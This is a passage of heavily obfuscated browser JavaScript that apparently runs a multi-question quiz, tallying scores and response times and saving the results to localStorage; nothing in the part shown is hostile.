,DosX_Pb_B=4952,DosX_Pb_K=\"FCGK\",DosX_Pb_D=5582,DosX_Pb_U=3513,DosX_Pb_N=\"4RK]\",DosX_Pb_R=2119,DosX_Pb_V=931,DosX_Pb_O=4666,DosX_Pb_z=\"Z[nw\",DosX_Pb_F=5695,DosX_Pb_Z=2431,DosX_Pb_Y=\"x4H&\",DosX_Pb_J=3140,DosX_Pb_G=769,DosX_Pb_B0=1628,DosX_Pb_B1=3928,DosX_Pb_B3=\"f$Am\",DosX_Pb_B4=5186,DosX_Pb_B5=6256,DosX_Pb_B7=\"x4H&\",DosX_Pb_B8=3803,DosX_Pb_BB=2907,DosX_Pb_Bq=\"4RK]\",DosX_Pb_BW=2962,DosX_Pb_BK=4357,DosX_Pb_Bj=\"0jPz\",DosX_Pb_By=2686,DosX_Pb_Bi=5989,DosX_Pb_Bu=8333,DosX_Pb_Be=5978,DosX_Pb_BD=2434,DosX_Pb_Bn=4285,DosX_Pb_BP=\"w0LC\",DosX_Pb_BU=3800,DosX_PO_B=214,DosX_PO_W=784,DosX_PO_j=282,DosX_Pa_B=307,DosX_Pa_W=300,DosX_Pa_j=63,DosX_Pv_B=225,DosX_Pv_W=193,DosX_Pv_j=445,DosX_PV_B=300,DosX_PV_K=1334,DosX_PV_j=304,DosX_PR_B=248,DosX_PR_W=260,DosX_PR_K=1320,DosX_PR_j=239,DosX_PN_B=492,DosX_PN_W=498,DosX_PN_K=1045,DosX_PN_j=102,DosX_PX_B=276,DosX_PX_W=117,DosX_PX_K=490,DosX_PX_j=237,DosX_PU_B=317,DosX_PU_W=1448,DosX_PU_K=114,DosX_PU_j=470,DosX_PC_B=279,DosX_PC_W=183,DosX_PC_K=1125,DosX_PC_j=486,W={};function eh(B,W,K,j,D){return DosX_eD(B-DosX_PC_B,W-DosX_PC_W,j,W-DosX_PC_K,D-DosX_PC_j)}function eQ(B,W,K,j,D){return DosX_en(B-DosX_PU_B,K-DosX_PU_W,D,j-DosX_PU_K,D-DosX_PU_j)}W[er(2483,-1290,0,1457,DosX_PQ_D)]=er(DosX_PQ_U,DosX_PQ_X,0,DosX_PQ_R,DosX_PQ_V);var K=W;function eb(B,W,K,j,D){return DosX_ee(B-DosX_PX_B,D- -DosX_PX_W,K-DosX_PX_K,j-DosX_PX_j,K)}function ek(B,W,K,j,D){return DosX_em(j,W-DosX_PN_B,K-DosX_PN_W,W- -DosX_PN_K,D-DosX_PN_j)}function er(B,W,K,j,D){return DosX_eD(B-DosX_PR_B,W-DosX_PR_W,D,j-DosX_PR_K,D-DosX_PR_j)}if(!(i>=g[er(DosX_PQ_O,DosX_PQ_Q,0,DosX_PQ_H,DosX_PQ_F)])){a=Date[eb(DosX_PQ_Z,0,DosX_PQ_Y,DosX_PQ_J,DosX_PQ_G)]();DosX_PQ_U=g[i];document[eQ(-DosX_PQ_B0,0,DosX_PQ_B2,DosX_PQ_B3,DosX_PQ_B4)+eQ(DosX_PQ_B5,0,DosX_PQ_B7,DosX_PQ_B8,DosX_PQ_B9)](eb(DosX_PQ_BB,0,DosX_PQ_D,DosX_PQ_Bq,DosX_PQ_BW)+eQ(DosX_PQ_Bf,0,DosX_PQ_Bp,DosX_PQ_Bj,DosX_PQ_By))[er(DosX_PQ_Bi,DosX_PQ_Bu,0,DosX_PQ_Be,DosX_PQ_BD)+\"nt\"]=DosX_PQ_U[eQ(DosX_PQ_Bn,0,DosX_PQ_BP,DosX_PQ_BC,DosX_PQ_BU)],document[eh(DosX_PQ_BX,DosX_PQ_BN,0,DosX_PQ_BV,DosX_PQ_Bv)+er(DosX_PQ_Ba,DosX_PQ_BO,0,DosX_PQ_Bb,DosX_PQ_BQ)](ek(0,DosX_PQ_Bh,DosX_PQ_Bz,DosX_PQ_BH,DosX_PQ_Bd)+er(DosX_PQ_G,DosX_PQ_Bg,0,DosX_PQ_Bl,DosX_PQ_BF))[ek(0,DosX_PQ_BM,DosX_PQ_Bt,DosX_PQ_BZ,DosX_PQ_Bc)+\"nt\"]=i+1;let D=document[eb(DosX_PQ_Bs,0,DosX_PQ_BL,DosX_PQ_BY,DosX_PQ_BJ)+ek(0,DosX_PQ_Bw,DosX_PQ_Bx,DosX_PQ_B4,DosX_PQ_BG)](er(DosX_PQ_o0,DosX_PQ_o1,0,DosX_PQ_o3,DosX_PQ_F)+eQ(-DosX_PQ_o4,0,DosX_PQ_o6,DosX_PQ_o7,DosX_PQ_o8));D[eb(-DosX_PQ_o9,0,DosX_PQ_oo,DosX_PQ_oq,DosX_PQ_oW)]=\"\",DosX_PQ_U[eh(DosX_PQ_of,DosX_PQ_oK,0,DosX_PQ_oj,DosX_PQ_oy)][eh(DosX_PQ_oi,DosX_PQ_ou,0,DosX_PQ_oe,DosX_PQ_oD)]((U,X)=>{var DosX_Pr={B:487,W:351,K:265,j:489},N=document[ez(DosX_Pb_B,0,DosX_Pb_K,0,DosX_Pb_D)+eH(DosX_Pb_U,0,DosX_Pb_N,DosX_Pb_R,DosX_Pb_V)](K[ez(DosX_Pb_O,0,DosX_Pb_z,0,DosX_Pb_F)]);function ed(B,W,K,j){return eQ(B-DosX_PV_B,0,B- -DosX_PV_K,j-DosX_PV_j,K)}function ez(B,W,K,j,D){return eh(B-DosX_Pa_B,B-DosX_Pa_W,0,K,D-DosX_Pa_j)}function eH(B,W,K,j,D){return eh(B-DosX_PO_B,j-DosX_PO_W,0,K,D-DosX_PO_j)}N[eH(DosX_Pb_Z,0,DosX_Pb_Y,DosX_Pb_J,DosX_Pb_G)]=((B,W,j,D)=>eh(B-DosX_Pv_B,W-DosX_Pv_W,0,j,D-DosX_Pv_j))(DosX_Pb_B0,DosX_Pb_B1,DosX_Pb_B3,DosX_Pb_B4)+ed(DosX_Pb_B5,0,DosX_Pb_B7,DosX_Pb_B8),N[ed(DosX_Pb_BB,0,DosX_Pb_Bq,DosX_Pb_BW)+\"nt\"]=U[eH(DosX_Pb_BK,0,DosX_Pb_Bj,DosX_Pb_By,DosX_Pb_Bi)],N[((B,W,j,D)=>eh(B-DosX_Pr.B,j-DosX_Pr.W,DosX_Pr.K,W,D-DosX_Pr.j))(DosX_Pb_Bu,DosX_Pb_B3,DosX_Pb_Be,DosX_Pb_BD)]=()=>c(X),D[ez(DosX_Pb_Bn,0,DosX_Pb_BP,0,DosX_Pb_BU)+\"ld\"](N)}),l()}}function c(B){var DosX_PF_B=1832,DosX_PF_W=159,DosX_PF_K=838,DosX_PF_D=\"f$Am\",DosX_PF_U=\"7Or@\",DosX_PF_X=6800,DosX_PF_N=8340,DosX_PF_V=7063,DosX_PF_O=652,DosX_PF_Q=5884,DosX_PF_z=3072,DosX_PF_F=\"@z9)\",DosX_PF_Z=\"x4H&\",DosX_PF_Y=774,DosX_PF_J=38,DosX_PF_B0=\"w0LC\",DosX_PF_B1=7479,DosX_PF_B2=3888,DosX_PF_B4=1375,DosX_PF_B5=1853,DosX_PF_B6=6232,DosX_PF_B7=3168,DosX_PF_B9=\"0jPz\",DosX_PF_BB=\")Lf8\",DosX_PF_Bq=1950,DosX_PF_BW=502,DosX_PF_BK=\"piSq\",DosX_PF_Bp=5046,DosX_PF_Bj=5503,DosX_PF_Bi=5985,DosX_PF_Bu=928,DosX_PF_Be=\"4RK]\",DosX_PF_BD=2818,DosX_PF_Bn=2109,DosX_PF_Bm=\"oxl#\",DosX_PF_BP=7513,DosX_PF_BC=7854,DosX_PF_BX=4901,DosX_PF_BN=\"Qsdo\",DosX_PF_BR=1905,DosX_PF_BV=1194,DosX_PF_Ba=3824,DosX_PF_BO=\"8L5y\",DosX_PF_Br=5641,DosX_PF_Bb=6724,DosX_PF_Bk=4777,DosX_PF_Bh=740,DosX_PF_BH=\"6Gdc\",DosX_PF_Bd=2553,DosX_PF_Bg=754,DosX_PF_BE=\"QAYB\",DosX_PF_BF=2550,DosX_PF_BS=544,DosX_PF_Bt=1902,DosX_PF_Bc=\"qQCK\",DosX_PF_Bs=2415,DosX_PF_BT=1794,DosX_PF_BL=6050,DosX_PF_BY=3554,DosX_PF_BJ=2229,DosX_PF_Bw=\"FVzc\",DosX_PF_Bx=\"@d!&\",DosX_PF_BG=2340,DosX_PF_o0=4909,DosX_PF_o2=3150,DosX_PF_o3=\"piSq\",DosX_PF_o5=4732,DosX_PF_o6=1380,DosX_PF_o8=7338,DosX_PF_o9=3491,DosX_PF_oB=4816,DosX_PF_oq=\"euG2\",DosX_PF_oW=\"v$9*\",DosX_PF_of=7123,DosX_PF_oK=3605,DosX_PF_oj=5463,DosX_PF_oy=\"91cp\",DosX_PF_ou=1708,DosX_PF_oI=1776,DosX_PF_oD=\"qQCK\",DosX_PF_om=2991,DosX_PF_oP=594,DosX_PF_oU=129,DosX_PF_oX=1169,DosX_PF_oN=265,DosX_PF_oV=\"iW3p\",DosX_PF_ov=\"mQoF\",DosX_PF_oO=3917,DosX_PF_or=2961,DosX_PF_oQ=4803,DosX_PF_oh=3941,DosX_PF_oz=2196,DosX_PF_oH=4583,DosX_PF_og=4783,DosX_PF_oE=5597,DosX_PF_ol=9075,DosX_PF_oS=\"p#OH\",DosX_PF_oM=9675,DosX_PF_ot=6459,DosX_Pg_B=386,DosX_Pg_W=116,DosX_Pg_K=404,DosX_Pg_j=293,DosX_Pd_B=119,DosX_Pd_W=457,DosX_Pd_K=1174,DosX_Pd_j=103,DosX_PH_B=55,DosX_PH_W=531,DosX_PH_K=339,DosX_PH_j=121,DosX_Pz_B=108,DosX_Pz_W=22,DosX_Pz_K=398,DosX_Pz_j=396,DosX_Ph_B=197,DosX_Ph_W=1277,DosX_Ph_K=414;function eS(B,W,K,j){return DosX_ee(B-DosX_Ph_B,K-DosX_Ph_W,K-DosX_Ph_B,j-DosX_Ph_K,B)}function el(B,W,K,j,D){return DosX_eD(B-DosX_Pz_B,W-DosX_Pz_W,D,K-DosX_Pz_K,D-DosX_Pz_j)}function eM(B,W,K,j){return DosX_ee(B-DosX_PH_B,K-DosX_PH_W,K-DosX_PH_K,j-DosX_PH_j,B)}function eF(B,W,K,j,D){return DosX_eD(B-DosX_Pd_B,W-DosX_Pd_W,B,K-DosX_Pd_K,D-DosX_Pd_j)}function et(B,W,K,j,D){return DosX_en(B-DosX_Pg_B,D- -DosX_Pg_W,K,j-DosX_Pg_K,D-DosX_Pg_j)}i>=g[el(DosX_PF_B,-DosX_PF_W,DosX_PF_K,0,DosX_PF_D)]||(DosX_PF_B=g[i][eF(DosX_PF_U,DosX_PF_X,DosX_PF_N,0,DosX_PF_V)][B],p[el(-DosX_PF_O,DosX_PF_Q,DosX_PF_z,0,DosX_PF_F)+\"l\"]+=DosX_PF_B[eM(DosX_PF_Z,0,DosX_PF_Y,-DosX_PF_J)][eF(DosX_PF_B0,DosX_PF_B1,DosX_PF_B2,0,DosX_PF_B4)+\"l\"],p[el(DosX_PF_B5,DosX_PF_B6,DosX_PF_B7,0,DosX_PF_B9)]+=DosX_PF_B[eM(DosX_PF_BB,0,DosX_PF_Bq,DosX_PF_BW)][eF(DosX_PF_BK,DosX_PF_Bp,DosX_PF_Bj,0,DosX_PF_Bi)],p[et(-DosX_PF_Bu,0,DosX_PF_Be,DosX_PF_BD,DosX_PF_Bn)+\"nt\"]+=DosX_PF_B[eF(DosX_PF_Bm,DosX_PF_BP,DosX_PF_BC,0,DosX_PF_BX)][eF(DosX_PF_BN,-DosX_PF_BR,DosX_PF_BV,0,DosX_PF_Ba)+\"nt\"],p[eF(DosX_PF_BO,DosX_PF_Br,DosX_PF_Bb,0,DosX_PF_Bk)]+=DosX_PF_B[et(DosX_PF_Bh,0,DosX_PF_BH,DosX_PF_Bd,DosX_PF_Bg)][eS(DosX_PF_BE,0,DosX_PF_BF,-DosX_PF_BS)],p[et(-DosX_PF_Bt,0,DosX_PF_Bc,DosX_PF_Bs,DosX_PF_BT)]+=DosX_PF_B[el(DosX_PF_BL,DosX_PF_BY,DosX_PF_BJ,0,DosX_PF_Bw)][eF(DosX_PF_Bx,DosX_PF_BG,DosX_PF_o0,0,DosX_PF_o2)],p[eS(DosX_PF_o3,0,DosX_PF_o5,DosX_PF_o6)+el(DosX_PF_o8,DosX_PF_o9,DosX_PF_oB,0,DosX_PF_oq)]+=DosX_PF_B[eF(DosX_PF_oW,DosX_PF_of,DosX_PF_oK,0,DosX_PF_oj)][eS(DosX_PF_oy,0,DosX_PF_ou,DosX_PF_oI)+eS(DosX_PF_oD,0,DosX_PF_om,DosX_PF_oP)],DosX_PF_B=a?Date[el(-DosX_PF_oU,DosX_PF_oX,DosX_PF_oN,0,DosX_PF_oV)]()-a:0,h[eS(DosX_PF_ov,0,DosX_PF_oO,DosX_PF_or)](DosX_PF_B),x[et(DosX_PF_oQ,0,DosX_PF_BE,DosX_PF_oh,DosX_PF_oz)](i+1+\":\"+B),++i<g[et(DosX_PF_oH,0,DosX_PF_oV,DosX_PF_og,DosX_PF_oE)]?setTimeout(()=>{s()},200):{YGric:function(j,D,U){return j(D,U)}}[et(DosX_PF_ol,0,DosX_PF_oS,DosX_PF_oM,DosX_PF_ot)](setTimeout,()=>{r()},300))}function l(){var DosX_PT_U=4154,DosX_PT_N=4151,DosX_PT_R=2980,DosX_PT_V=\"piSq\",DosX_PT_O=3982,DosX_PT_z=2825,DosX_PT_H=932,DosX_PT_F=\"gdDi\",DosX_PT_Z=6874,DosX_PT_Y=6902,DosX_PT_J=8236,DosX_PT_G=\"*4ZH\",DosX_PT_B0=5457,DosX_PT_B2=6020,DosX_PT_B3=7503,DosX_PT_B4=\"p#OH\",DosX_PT_B5=3650,DosX_PT_B7=2227,DosX_PT_B8=5868,DosX_PT_B9=\"qQCK\",DosX_PT_BB=760,DosX_PT_Bq=2785,DosX_PT_BW=\"GEgV\",DosX_PT_BK=3288,DosX_PT_Bj=3432,DosX_PT_By=2698,DosX_PT_Bi=\"KEHY\",DosX_PT_Bu=1507,DosX_PT_BI=1545,DosX_PT_BD=\"J9b^\",DosX_PT_Bn=1466,DosX_Ps_B=427,DosX_Ps_W=638,DosX_Ps_K=67,DosX_Ps_j=148,DosX_Pc_B=110,DosX_Pc_W=367,DosX_Pc_K=21,DosX_Pc_j=72,DosX_PM_B=494,DosX_PM_W=470,DosX_PM_K=711,DosX_PM_j=281,DosX_PS_B=213,DosX_PS_W=521,DosX_PS_K=81,DosX_PS_j=397,W={};function es(B,W,K,j,D){return DosX_ee(B-DosX_PS_B,K-DosX_PS_W,K-DosX_PS_K,j-DosX_PS_j,D)}function eZ(B,W,K,j,D){return DosX_ee(B-DosX_Pc_B,B-DosX_Pc_W,K-DosX_Pc_K,j-DosX_Pc_j,D)}W[eZ(6679,0,7991,7042,\"f$Am\")]=function(D,U){return D/U};W=100*W[eZ(DosX_PT_U,0,DosX_PT_N,DosX_PT_R,DosX_PT_V)](i,g[es(DosX_PT_O,0,DosX_PT_z,DosX_PT_H,DosX_PT_F)]);document[es(DosX_PT_Z,0,DosX_PT_Y,DosX_PT_J,DosX_PT_G)+eZ(DosX_PT_B0,0,DosX_PT_B2,DosX_PT_B3,DosX_PT_B4)](eZ(DosX_PT_B5,0,DosX_PT_B7,DosX_PT_B8,DosX_PT_B9)+((B,K,j)=>DosX_ee(B-DosX_Ps_B,K- -DosX_Ps_W,K-DosX_Ps_K,j-DosX_Ps_j,j))(-DosX_PT_BB,DosX_PT_Bq,DosX_PT_BW))[eZ(DosX_PT_BK,0,DosX_PT_Bj,DosX_PT_By,DosX_PT_Bi)][((B,W,j,D)=>DosX_eD(B-DosX_PM_B,W-DosX_PM_W,j,D-DosX_PM_K,D-DosX_PM_j))(DosX_PT_Bu,DosX_PT_BI,DosX_PT_BD,DosX_PT_Bn)]=W+\"%\"}function r(){var DosX_C4_K=\"9P*O\",DosX_C4_U=\"0jPz\",DosX_C4_X=4052,DosX_C4_N=6093,DosX_C4_V=2721,DosX_C4_O=4062,DosX_C4_Q=7006,DosX_C4_z=\")Lf8\",DosX_C4_H=2488,DosX_C4_F=3949,DosX_C4_Z=4730,DosX_C4_L=1832,DosX_C4_Y=3878,DosX_C4_G=\")Lf8\",DosX_C4_B0=2228,DosX_C4_B1=6904,DosX_C4_B2=\"*$d[\",DosX_C4_B3=261,DosX_C4_B4=3614,DosX_C4_B6=\"QYGq\",DosX_C4_B7=2696,DosX_C4_B8=4256,DosX_C4_B9=6906,DosX_C4_BB=8920,DosX_C4_Bo=9192,DosX_C4_Bq=\"O*79\",DosX_C4_Bf=5628,DosX_C4_BK=1119,DosX_C4_Bp=2263,DosX_C4_Bj=\"m6]b\",DosX_C4_Bi=2173,DosX_C4_BI=\"oxl#\",DosX_C4_Be=3575,DosX_C4_BD=4470,DosX_C4_Bn=743,DosX_C4_Bm=\"91cp\",DosX_C4_BP=4056,DosX_C4_BC=4528,DosX_C4_BX=6933,DosX_C4_BN=182,DosX_C4_Bv=\"MB5V\",DosX_C4_Ba=2333,DosX_C4_BO=4471,DosX_C4_Br=1101,DosX_C4_BQ=2358,DosX_C4_Bk=\"m6]b\",DosX_C4_Bh=9875,DosX_C4_Bz=8758,DosX_C4_Bd=6846,DosX_C4_Bg=\"TEJX\",DosX_C4_BE=6053,DosX_C4_Bl=4290,DosX_C4_BS=3989,DosX_C4_BM=\"QYGq\",DosX_C4_Bt=3274,DosX_C4_BZ=4016,DosX_C4_Bs=1239,DosX_C4_BT=3563,DosX_C4_BL=3431,DosX_C4_BJ=801,DosX_C4_BA=5325,DosX_C4_BG=\"91cp\",DosX_C4_o0=6031,DosX_C4_o1=4378,DosX_C4_o2=6569,DosX_C4_o3=1445,DosX_C4_o5=\"euG2\",DosX_C4_o6=519,DosX_C4_o9=\"m6]b\",DosX_C4_oB=1608,DosX_C4_oq=\"GEgV\",DosX_C4_oW=3586,DosX_C4_of=4233,DosX_C4_oK=7775,DosX_C4_oj=\"v$9*\",DosX_C4_oy=10195,DosX_C4_oi=7371,DosX_C4_ou=6619,DosX_C4_oI=\"n2r*\",DosX_C4_oe=1748,DosX_C4_oD=1646,DosX_C4_on=939,DosX_C4_om=5130,DosX_C4_oU=\"hP1P\",DosX_C4_oX=2887,DosX_C4_oN=2415,DosX_C4_oR=180,DosX_C4_oV=3489,DosX_C4_oa=\"f$Am\",DosX_C4_oO=1509,DosX_C4_oQ=\"piSq\",DosX_C4_ok=338,DosX_C4_oh=\"mQoF\",DosX_C4_oz=5327,DosX_C4_oH=5268,DosX_C4_og=7663,DosX_C4_oE=7469,DosX_C4_ol=3016,DosX_C4_oF=\"p#OH\",DosX_C4_oM=3993,DosX_C4_ot=5974,DosX_C4_oZ=3891,DosX_C4_oc=9196,DosX_C4_oT=\"#hmO\",DosX_C4_oL=5143,DosX_C4_oA=5529,DosX_C4_ow=9005,DosX_C4_ox=7697,DosX_C4_q0=7200,DosX_C4_q1=5433,DosX_C4_q2=5343,DosX_C4_q3=\"iW3p\",DosX_C4_q5=5972,DosX_C4_q7=\"J9b^\",DosX_C4_q8=10923,DosX_C4_q9=7396,DosX_C4_qB=4492,DosX_C4_qo=2171,DosX_C4_qq=2460,DosX_C4_qW=5790,DosX_C4_qK=\"FCGK\",DosX_C4_qp=7361,DosX_C4_qj=4248,DosX_C4_qi=4492,DosX_C4_qu=1568,DosX_C4_qD=4571,DosX_C4_qn=10441,DosX_C4_qm=6545,DosX_C4_qC=7421,DosX_C4_qU=7201,DosX_C4_qX=7616,DosX_C4_qN=6868,DosX_C4_qv=4269,DosX_C4_qa=4550,DosX_C4_qO=2261,DosX_C4_qr=6819,DosX_C4_qb=6809,DosX_C4_qQ=\"GrE)\",DosX_C4_qh=4898,DosX_C4_qz=5311,DosX_C4_qH=6870,DosX_C4_qd=4099,DosX_C4_qE=\"gdDi\",DosX_C4_ql=592,DosX_C4_qF=1723,DosX_C4_qM=\"@z9)\",DosX_C4_qZ=\"f$Am\",DosX_C4_qc=1097,DosX_C4_qs=4770,DosX_C4_qT=1924,DosX_C4_qY=\"GEgV\",DosX_C4_qJ=815,DosX_C4_qA=4233,DosX_C4_qw=607,DosX_C4_qG=3862,DosX_C4_W0=2395,DosX_C4_W1=2352,DosX_C4_W2=6231,DosX_C4_W3=4843,DosX_C4_W4=9314,DosX_C4_W6=\"xy(x\",DosX_C4_W7=5666,DosX_C4_W8=7079,DosX_C4_W9=5856,DosX_C4_Wo=84,DosX_C4_Wq=\"hP1P\",DosX_C4_Wf=1961,DosX_C4_Wp=4115,DosX_C4_Wj=1530,DosX_C4_Wy=4906,DosX_C4_Wi=3736,DosX_C4_Wu=1333,DosX_C4_WI=2583,DosX_C4_WD=\"*$d[\",DosX_C4_Wn=57,DosX_C4_Wm=779,DosX_C4_WC=614,DosX_C4_WN=\"@d!&\",DosX_C4_WR=2984,DosX_C3_B=492,DosX_C3_W=484,DosX_C3_K=169,DosX_C3_j=335,DosX_C2_B=135,DosX_C2_W=203,DosX_C2_K=1189,DosX_C2_j=319,DosX_C1_B=408,DosX_C1_W=434,DosX_C1_K=1414,DosX_C1_j=215,DosX_C0_B=468,DosX_C0_W=229,DosX_C0_K=463,DosX_C0_j=461,DosX_PL_B=72,DosX_PL_W=152,DosX_PL_K=1191,DosX_PL_j=422;function eA(B,W,K,j,D){return DosX_em(D,W-DosX_PL_B,K-DosX_PL_W,B- -DosX_PL_K,D-DosX_PL_j)}var W={lgDpo:function(Z,L){return Z/L},qDENG:function(Z,L){return Z*L},fhdXf:function(Z,L,Y,J,G,B0,B1){return Z(L,Y,J,G,B0,B1)},PmYZO:function(Z,L){return Z+L},YXVgo:function(Z,L){return Z+L},NxrGg:eY(7133,8032,DosX_C4_K,0,5763)+eJ(DosX_C4_U,DosX_C4_X,DosX_C4_N,0,DosX_C4_V)+eY(DosX_C4_O,DosX_C4_Q,DosX_C4_z,0,DosX_C4_F),ZNyUt:function(Z,L){return Z(L)}};function eY(B,W,K,j,D){return DosX_eD(B-DosX_C0_B,W-DosX_C0_W,K,D-DosX_C0_K,D-DosX_C0_j)}function ex(B,W,K,j,D){return DosX_em(W,W-DosX_C1_B,K-DosX_C1_W,j- -DosX_C1_K,D-DosX_C1_j)}k(eA(DosX_C4_Z,DosX_C4_L,DosX_C4_Y,0,DosX_C4_G)+eY(DosX_C4_B0,DosX_C4_B1,DosX_C4_B2,0,DosX_C4_B4));var DosX_C4_U=5*g[ex(0,DosX_C4_B6,DosX_C4_B7,DosX_C4_B8,DosX_C4_B9)],DosX_C4_X=Math[eY(DosX_C4_BB,DosX_C4_Bo,DosX_C4_Bq,0,DosX_C4_Bf)](100*W[eY(-DosX_C4_BK,DosX_C4_Bp,DosX_C4_Bj,0,DosX_C4_Bi)](p[ex(0,DosX_C4_BI,DosX_C4_Be,DosX_C4_BD,DosX_C4_Bn)+\"l\"],DosX_C4_U)),DosX_C4_N=Math[eJ(DosX_C4_Bm,DosX_C4_BP,DosX_C4_BC,0,DosX_C4_BX)](p[ew(DosX_C4_BN,0,0,DosX_C4_Bv,-DosX_C4_Ba)]/DosX_C4_U*100),DosX_C4_V=Math[eY(DosX_C4_BO,DosX_C4_Br,DosX_C4_Bv,0,DosX_C4_BQ)](p[eJ(DosX_C4_Bk,DosX_C4_Bh,DosX_C4_Bz,0,DosX_C4_Bd)+\"nt\"]/DosX_C4_U*100),DosX_C4_O=Math[eJ(DosX_C4_Bg,DosX_C4_BE,DosX_C4_Bl,0,DosX_C4_BS)](p[eJ(DosX_C4_BM,DosX_C4_Bt,DosX_C4_BZ,0,DosX_C4_Bs)]/DosX_C4_U*100),DosX_C4_Q=Math[eJ(DosX_C4_K,DosX_C4_BT,DosX_C4_BL,0,DosX_C4_BJ)](W[ew(DosX_C4_BA,0,0,DosX_C4_BG,DosX_C4_o0)](p[eA(DosX_C4_o1,DosX_C4_o2,DosX_C4_o3,0,DosX_C4_o5)]/DosX_C4_U,100)),DosX_C4_U=Math[ew(DosX_C4_o6,0,0,DosX_C4_o9,DosX_C4_oB)](p[ex(0,DosX_C4_oq,DosX_C4_oW,DosX_C4_of,DosX_C4_oK)+ex(0,DosX_C4_oj,DosX_C4_oy,DosX_C4_oi,DosX_C4_ou)]/DosX_C4_U*100),DosX_C4_z=W[ex(0,DosX_C4_oI,DosX_C4_oe,DosX_C4_oD,-DosX_C4_on)](f,DosX_C4_X,DosX_C4_N,DosX_C4_V,DosX_C4_O,DosX_C4_Q,DosX_C4_U),DosX_C4_F=(W[ew(DosX_C4_om,0,0,DosX_C4_oU,DosX_C4_oX)](W[eA(DosX_C4_oN,-DosX_C4_oR,DosX_C4_oV,0,DosX_C4_oa)](DosX_C4_X+DosX_C4_N+DosX_C4_V,DosX_C4_O),DosX_C4_Q)+DosX_C4_U)/6,O=[];function eJ(B,W,K,j,D){return DosX_em(B,W-DosX_C2_B,K-DosX_C2_W,D- -DosX_C2_K,D-DosX_C2_j)}for(let Z=0;Z<h[ew(DosX_C4_oO,0,0,DosX_C4_oQ,DosX_C4_ok)];Z+=5){var Q=0<(Q=h[eJ(DosX_C4_oh,DosX_C4_oz,DosX_C4_oH,0,DosX_C4_og)](Z,W[eY(DosX_C4_oE,DosX_C4_ol,DosX_C4_oF,0,DosX_C4_oM)](Z,5)))[eA(DosX_C4_ot,DosX_C4_oZ,DosX_C4_oc,0,DosX_C4_oT)]?Math[ew(DosX_C4_oL,0,0,DosX_C4_oI,DosX_C4_oA)](Q[eY(DosX_C4_ow,DosX_C4_ox,DosX_C4_oh,0,DosX_C4_q0)]((L,Y)=>L+Y,0)/Q[eY(DosX_C4_q1,DosX_C4_q2,DosX_C4_q3,0,DosX_C4_q5)]):0,z=W[ex(0,DosX_C4_q7,DosX_C4_q8,DosX_C4_q9,DosX_C4_qB)](Z,1),H=Math[eA(DosX_C4_qo,DosX_C4_qq,DosX_C4_qW,0,DosX_C4_oF)](W[eJ(DosX_C4_qK,DosX_C4_qp,DosX_C4_qj,0,DosX_C4_qi)](Z,5),h[ew(DosX_C4_qu,0,0,DosX_C4_qK,DosX_C4_qD)]);O[eY(DosX_C4_qn,DosX_C4_qm,DosX_C4_oq,0,DosX_C4_qC)](W[eA(DosX_C4_qU,DosX_C4_qX,DosX_C4_qN,0,DosX_C4_qK)](z,\"-\"+H+\":\"+Q+\"ms\"))}DosX_C4_Z={};function ew(B,W,K,j,D){return DosX_en(B-DosX_C3_B,B-DosX_C3_W,j,j-DosX_C3_K,D-DosX_C3_j)}DosX_C4_Z[ex(0,DosX_C4_oT,DosX_C4_qv,DosX_C4_qa,DosX_C4_qO)+\"l\"]=DosX_C4_X,DosX_C4_Z[eY(DosX_C4_qr,DosX_C4_qb,DosX_C4_qQ,0,DosX_C4_qh)]=DosX_C4_N,DosX_C4_Z[eA(DosX_C4_qz,DosX_C4_qH,DosX_C4_qd,0,DosX_C4_qE)+\"nt\"]=DosX_C4_V,DosX_C4_Z[eA(DosX_C4_ql,DosX_C4_qF,-DosX_C4_B3,0,DosX_C4_qM)]=DosX_C4_O,DosX_C4_Z[ex(0,DosX_C4_qZ,DosX_C4_qc,DosX_C4_qs,DosX_C4_qT)]=DosX_C4_Q,DosX_C4_Z[ex(0,DosX_C4_qY,DosX_C4_qJ,DosX_C4_qA,DosX_C4_qw)+ex(0,DosX_C4_Bm,DosX_C4_qG,DosX_C4_W0,DosX_C4_W1)]=DosX_C4_U,y={username:v,scores:p,percentages:DosX_C4_Z,profile:DosX_C4_z,avgScore:DosX_C4_F,date:(new Date)[eA(DosX_C4_W2,DosX_C4_W3,DosX_C4_W4,0,DosX_C4_W6)+\"ng\"](),activity_log:x[eA(DosX_C4_W7,DosX_C4_W8,DosX_C4_W9,0,DosX_C4_qQ)](\";\"),activity_periods:O[eY(DosX_C4_Wo,DosX_C4_W3,DosX_C4_Wq,0,DosX_C4_Wf)](\";\")},localStorage[ex(0,DosX_C4_G,DosX_C4_Wp,DosX_C4_Wj,DosX_C4_Wy)](W[eA(DosX_C4_Wi,DosX_C4_Wu,DosX_C4_WI,0,DosX_C4_WD)],JSON[eY(DosX_C4_Wn,DosX_C4_Wm,DosX_C4_oF,0,DosX_C4_H)](y)),W[ew(DosX_C4_WC,0,0,DosX_C4_WN,-DosX_C4_WR)](d,y)}function d(W){var DosX_Cb_U=\"TEJX\",DosX_Cb_X=6061,DosX_Cb_V=8956,DosX_Cb_O=4012,DosX_Cb_Q=\"hP1P\",DosX_Cb_H=7435,DosX_Cb_F=6390,DosX_Cb_Z=10914,DosX_Cb_L=7454,DosX_Cb_Y=7263,DosX_Cb_J=8108,DosX_Cb_G=\"iW3p\",DosX_Cb_B0=5939,DosX_Cb_B2=7528,DosX_Cb_B3=4348,DosX_Cb_B4=\"FVzc\",DosX_Cb_B5=\"FCGK\",DosX_Cb_B6=3199,DosX_Cb_B7=4181,DosX_Cb_B9=943,DosX_Cb_BB=\"Z[nw\",DosX_Cb_Bo=6010,DosX_Cb_Bq=6795,DosX_Cb_Bf=3092,DosX_Cb_BK=\"yAXs\",DosX_Cb_Bp=7312,DosX_Cb_Bj=5981,DosX_Cb_Bi=8664,DosX_Cb_Bu=3554,DosX_Cb_Be=7112,DosX_Cb_BD=1273,DosX_Cb_Bn=\"mlQ7\",DosX_Cb_Bm=\"GEgV\",DosX_Cb_BP=888,DosX_Cb_BC=1234,DosX_Cb_BX=615,DosX_Cb_BN=7370,DosX_Cb_BR=5735,DosX_Cb_BV=2481,DosX_Cb_Bv=7942,DosX_Cb_Ba=\"oxl#\",DosX_Cb_BO=4697,DosX_Cb_Bb=4532,DosX_Cb_BQ=1376,DosX_Cb_Bk=\"euG2\",DosX_Cb_Bh=3739,DosX_Cb_Bz=7346,DosX_Cb_BH=10854,DosX_Cb_Bd=4778,DosX_Cb_Bg=\"w0LC\",DosX_Cb_BE=\"9P*O\",DosX_Cb_Bl=7795,DosX_Cb_BF=8013,DosX_Cb_BM=9394,DosX_C